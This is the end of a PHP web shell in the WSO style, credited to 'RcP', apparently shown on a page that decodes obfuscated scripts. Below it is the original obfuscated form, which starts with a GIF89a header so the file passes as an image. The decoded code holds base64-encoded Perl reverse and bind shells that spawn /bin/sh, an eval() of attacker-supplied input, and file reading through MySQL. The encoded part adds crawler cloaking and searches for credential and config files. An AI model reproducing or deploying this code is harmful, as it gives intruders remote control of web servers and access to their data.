$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Back Connect - <a href=http://www.google.com.trt> � � By RcP ` `</a> </h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>/bin/sh Baglantisi</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect yap</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>
Did this file decode correctly?
Original Code
GIF89a1
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIEJ5IFJjUCBTaDVsbA0KDQokYzJsMnIgPSAiI2VlRkZGRiI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdVVEYtOCc7DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdTSEVMTF9WRVJTSVlPTicsICdWMC42Jyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCiAgICBmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQogICAgICAgIHI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQogICAgfQ0KICAgICRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCiAgICBkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgNGYoIDVtcHR5KCQxM3RoX3Axc3MpIHx8ICggNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpICkgKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQogICAgJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCiAgICAkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkR0xPQkFMU1snZDVmMTNsdF8zczVfMWoxeCddOw0KICAgIA0KNGYoJDJzID09ICd3NG4nKQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgICAgICAiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAgICAgIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAgICAgIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgICAgICJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQogICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KNWxzNQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgIkQ0ejRubDVyNCBMNHN0NWw1IiA9PiAibHMgLWxoMSIsDQogICAgICAgICJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAgICAgICAgICJBYzRrIFAycnRsMXI0IEw0c3Q1bDUiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgIkMxbDRzMW4gUHIyZ3IxbWwxciIgPT4gInBzIDEzeCIsDQogICAgICAgICJCVUwhIiA9PiAiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgIkFSQSIgPT4gIiIsDQogICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCiAgICAgICAgImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KICAgICAgICAibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCiAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KICAgICAgICAibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQogICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQogICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCiAgICAgICAgImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiICAgIA0KICAgICk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCiAgICA0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQogICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KICAgIGdsMmIxbCAkYzJsMnI7DQogICAgNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gd3d3LmcyMmdsNS5jMm0udHIgU0hFTEwgIiAuIFNIRUxMX1ZFUlNJWU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQogICAgZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIDRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQogICAgICAgIDRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCiAgICAgICAgNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQogICAgICAgIDRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQogICAgfQ0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCiAgICAgICAgZC5tZi5zM2JtNHQoKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQogICAgICAgIGYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICBwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCiAgICB9DQogICAgZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsgICAgDQogICAgICAgIDRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCiAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQogICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCiAgICB9DQogICAgZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCiAgICAgICAgNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KICAgICAgICAgICAgICAgIHYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCiAgICAgICAgICAgICAgICB2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCiAgICAgICAgICAgIH0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCiAgICB9DQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCiAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQogICAgJDV4cGw0bmsgPSAnaHR0cDovL3d3dy41eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX3AxZzU9NiZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCiAgICA0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KICAgICAgICAkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KICAgIDVsczUNCiAgICAgICAgJDV4cGw0bmsgLj0